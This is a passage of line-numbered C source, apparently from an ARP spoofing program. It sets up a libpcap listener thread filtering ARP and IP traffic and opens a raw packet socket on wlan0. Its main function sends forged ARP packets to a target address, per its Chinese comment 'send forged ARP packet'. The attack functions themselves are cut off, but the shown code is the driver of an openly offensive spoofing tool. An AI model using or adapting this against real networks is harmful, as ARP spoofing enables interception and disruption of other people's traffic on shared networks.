  158.         if(pcap_compile(handle, &fp, "arp or ip", 0, net) == -1)printf("pcap_compile():%s/n", errbuf);   
  159.         if(pcap_setfilter(handle, &fp) == -1)printf("pcap_setfilter():%s/n", errbuf);   
  160.         while(pcap_loop(handle, -1, callback, NULL) != -1);   
  161.         return NULL;   
  162. }   
  163. int main(int argc, char **argv) {   
  164.         pthread_t tid;   
  165.         pthread_create(&tid, NULL, arp_listen, NULL);   
  166.         sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));   
  167.         if(sockfd == -1)perror("socket()");   
  168.         memset(&peer_addr, 0, sizeof(peer_addr));   
  169.         peer_addr.sll_family = AF_PACKET;   
  170.         struct ifreq req;   
  171.         strcpy(req.ifr_name, "wlan0");   
  172.         if(ioctl(sockfd, SIOCGIFINDEX, &req) != 0)perror("ioctl()");   
  173.         peer_addr.sll_ifindex = req.ifr_ifindex;   
  174.         peer_addr.sll_protocol = htons(ETH_P_ARP);   
  175.         send_arp(attack_ip);//给***ip发送伪造的arp包   
  176.         pthread_exit(NULL);//退出主线程   
  177.         return 0;   
  178. }   
  179. void echo_head(char *str){   
  180.     if(str==NULL){   
  181.             return;   
  182.     }   
  183.     printf("------------------------------------------------BEGIN %s------------------------------------------------/n",str);   
  184. }   
  185. void echo(char *str){   
  186.     if(str==NULL){   
  187.         return;   
  188.     }   
  189.     printf("%s/n",str);   
  190. }   
  191. void echo_end(char *str){   
  192.     if(str==NULL){   
  193.             return;   
  194.     }   
  195.     printf("------------------------------------------------END %s------------------------------------------------/n",str);   
  196. }